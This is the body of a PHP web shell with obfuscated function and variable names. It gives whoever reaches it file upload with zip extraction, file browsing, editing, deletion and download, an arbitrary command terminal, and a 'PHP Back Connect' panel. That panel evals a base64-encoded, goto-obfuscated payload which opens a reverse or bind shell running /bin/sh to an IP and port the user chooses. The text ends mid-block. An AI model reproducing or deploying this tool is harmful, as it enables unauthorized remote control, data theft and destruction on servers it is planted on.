<body>
<main class="my-1">
<div class="border bg-dark px-1">
<div class="d-flex justify-content-between">
<div>
<h3 class="mt-2"><a href="?"><?php
echo FmHaNw7Sd4;
?></a></h3>
</div>
<div>
<span>PHP Version: <?php
echo phpversion();
?></span><br>
<a href="<?php
echo "?l=" . RXEFbn6hey($EEfZ6TZDdb, 0) . "&a=" . rxEfbn6HEy("cdir", 0);
?>"><i class="fa fa-plus"></i><i class="fa fa-folder"></i></a> |
<a href="<?php
echo "?l=" . RXefBN6HEY($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6hey("cfile", 0);
?>"><i class="fa fa-plus"></i><i class="fa fa-file"></i></a> |
<a href="<?php
echo "?l=" . rxefBN6Hey($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6HEy("con", 0);
?>"><i class="fa fa-usb"></i></a> |
<a href="<?php
echo "?l=" . rxefbn6HeY($EEfZ6TZDdb, 0) . "&a=" . rxEFbN6HEY("term", 0);
?>"><i class="fa fa-terminal"></i></a>
</div>
</div>
<div class="border-top">
<ul style="list-style:none;" class="m-0 p-0">
<li><b>Server</b>: <?php
echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["REMOTE_ADDR"]})";
?></li>
<li><b>PHP Uname</b>: <?php
echo php_uname();
?></li>
</ul>
</div>
<form method="post" enctype="multipart/form-data">
<div class="input-group mb-1">
<div class="custom-file">
<input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple>
<label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label>
</div>
</div>
</form>
<?php
if (isset($_FILES['f'])) {
$TQjF6JN0Xn = $_FILES['f']['name'];
$IKiphkRa67 = 0;
while ($IKiphkRa67 < count($TQjF6JN0Xn)) {
$Dfdl9lkULa = $_FILES['f']['tmp_name'];
$Dbi_h94n09 = $_FILES['f']['type'];
$jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
if (!move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {
Bb5iNVugyH("file failed to upload", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);
} else {
if (in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {
$j6fm9JkXX3 = new ZipArchive();
$j78MPlSKil = $j6fm9JkXX3->open($TQjF6JN0Xn[$IKiphkRa67]);
if ($j78MPlSKil == true) {
$j6fm9JkXX3->extractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));
$j6fm9JkXX3->close();
}
}
Bb5inVUGYh("file uploaded successfully", RxEfbn6heY($EEfZ6TZDdb, 0));
}
$IKiphkRa67++;
}
}
if (isset($_GET["download"])) {
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: " . strtotime(Rxefbn6hey($_GET["n"])));
header("Content-disposition: attachment; filename=\"" . rXEfbn6hey($_GET["n"]) . "\"");
}
?>
</div>
<div class="border bg-dark my-2 py-2 table-responsive">
<div class="mx-2">
<span>Path:</span>
<?php
$WekN4aubDI = preg_split("/(\\\\|\\/)/", $EEfZ6TZDdb);
foreach ($WekN4aubDI as $x42dyPJI_Q => $iIMh47ezZF) {
if (!($x42dyPJI_Q == 0 && $iIMh47ezZF == "")) {
if (!($iIMh47ezZF == "")) {
echo "<a href=\"?l=";
$IKiphkRa67 = 0;
while ($IKiphkRa67 <= $x42dyPJI_Q) {
echo rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);
if ($IKiphkRa67 != $x42dyPJI_Q) {
echo "2f";
}
$IKiphkRa67++;
}
echo "\">{$iIMh47ezZF}</a>/";
} else {
}
} else {
echo "<a href=\"?l=2f\">~</a>/";
}
}
?>
</div>
</div>
<article class="bg-dark border table-responsive">
<?php
if (!isset($_GET["a"])) {
?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);
foreach ($fgiEl2SFA1 as $GH5ltOv09p) {
if (is_dir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) {
echo "<tr>\n <td><a href=\"?l=" . RxefBN6hEY("{$EEfZ6TZDdb}/{$GH5ltOv09p}", 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) . "\"><i class=\"fa fa-fw fa-folder" . (count(scandir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) == 0 ? "" : "-open") . " text-warning\"></i> {$GH5ltOv09p}</a></td>\n <td>N/A</td>\n <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "red" : null)) . "\">" . hRXkAtTukJ("{$EEfZ6TZDdb}/{$GH5ltOv09p}") . "</font></td>\n <td>\n <a href=\"?l=" . rXeFbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rxeFBn6HEy("rename", 0) . "&n=" . rXEFbN6Hey($GH5ltOv09p, 0) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n <a href=\"?l=" . RxEfBn6hEY($EEfZ6TZDdb, 0) . "&a=" . RxefbN6hey("delete", 0) . "&n=" . rxEFbn6HEy($GH5ltOv09p, 0) . "&t=f\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n </td></tr>";
} else {
}
}
foreach ($fgiEl2SFA1 as $rn5LpfN5ed) {
if (is_file("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) {
$nWFrSLIRip = filesize("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") / 1024;
$nWFrSLIRip = round($nWFrSLIRip, 3);
$nWFrSLIRip = $nWFrSLIRip > 1024 ? round($nWFrSLIRip / 1024, 2) . "MB" : $nWFrSLIRip . "KB";
echo "<tr>\n\t <td><a href=\"?l=" . rxefbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXEFbn6HEY("view", 0) . "&n=" . RxEFBN6heY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) . "\"><i class=\"fa fa-fw fa-file" . ($_SERVER["SCRIPT_FILENAME"] == "{$EEfZ6TZDdb}/{$rn5LpfN5ed}" ? " text-danger" : "") . "\"></i> {$rn5LpfN5ed}</a></td>\n\t <td>{$nWFrSLIRip}</td>\n\t <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "red" : null)) . "\">" . HRXkaTtukj("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") . "</font></td>\n\t <td>\n\t <div class=\"d-flex justify-content-between\">\n\t <a href=\"?l=" . RXeFbN6HEY($EEfZ6TZDdb, 0) . "&a=" . rxeFBN6hey("edit", 0) . "&n=" . RXeFBN6HEY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t <a href=\"?l=" . RXeFBn6hey($EEfZ6TZDdb, 0) . "&a=" . RXeFBn6HeY("rename", 0) . "&n=" . rXEfbN6hEY($rn5LpfN5ed, 0) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t <a href=\"?l=" . rxeFbN6HEy($EEfZ6TZDdb, 0) . "&n=" . RXEFbN6HeY($rn5LpfN5ed, 0) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t <a href=\"?l=" . RxEFBn6Hey($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6heY("delete", 0) . "&n=" . rxEfbN6heY($rn5LpfN5ed, 0) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t </div>\n\t </td></tr>";
} else {
}
}
?>
</tbody>
</table>
<?php
} else {
if (isset($_GET["a"])) {
$hzOvuJeFzz = RxEFbN6HEY($_GET["a"]);
?>
<div class="px-2 py-2">
<?php
if ($hzOvuJeFzz == "delete") {
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET["n"]);
if ($_GET["t"] == "d") {
Q0WFVkujRs($IqAFWYu448);
if (!file_exists($IqAFWYu448)) {
BB5InVuGyh("folder deleted successfully", rxEFbN6Hey($EEfZ6TZDdb, 0));
} else {
Bb5INvUgYh("failed to delete the folder", RxefbN6HEY($EEfZ6TZDdb, 0), 0);
}
}
if ($_GET["t"] == "f") {
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET["n"]);
unlink($IqAFWYu448);
if (!file_exists($IqAFWYu448)) {
Bb5inVuGyH("file deleted successfully", RXEfbn6heY($EEfZ6TZDdb, 0));
if ($hzOvuJeFzz == "con") {
?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php
echo $_SERVER["REMOTE_ADDR"];
?>" class="form-control">
<input type="number" name="port" placeholder="<?php
echo rand(1, 6) * 1922;
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php
if (isset($_POST['s'])) {
echo '<div class="my-3">';
$TkCbW35AQi = $_POST['ip'];
$g9_4Zq7xGB = $_POST['port'];
$rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
$rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
eval($rRwNpSflmI);
echo 'Finished...';
echo '</div>';
}
} else {
if ($hzOvuJeFzz == "cfile") {
?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "cdir") {
?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "term") {
?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php
echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php
} else {
if ($hzOvuJeFzz == 'edit') {
?>
<h5>Edit file</h5>
<span>File name : <?php
echo RxEfbn6Hey($_GET["n"]);
?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'rename') {
?>
<h5>View <?php
echo $_GET["t"] == "d" ? "folder" : "file";
?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php
echo rxeFBn6hEy($_GET["n"]);
?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'view') {
?>
<h5>View file</h5>
<span>File name : <?php
echo rXEfBN6HEy($_GET["n"]);
?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
?></textarea>
</div>
<?php
} else {
}
}
}
}
}
}
}
} else {
bb5inVuGYh("file to delete the folder", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);
if ($hzOvuJeFzz == "con") {
?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php
echo $_SERVER["REMOTE_ADDR"];
?>" class="form-control">
<input type="number" name="port" placeholder="<?php
echo rand(1, 6) * 1922;
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php
if (isset($_POST['s'])) {
echo '<div class="my-3">';
$TkCbW35AQi = $_POST['ip'];
$g9_4Zq7xGB = $_POST['port'];
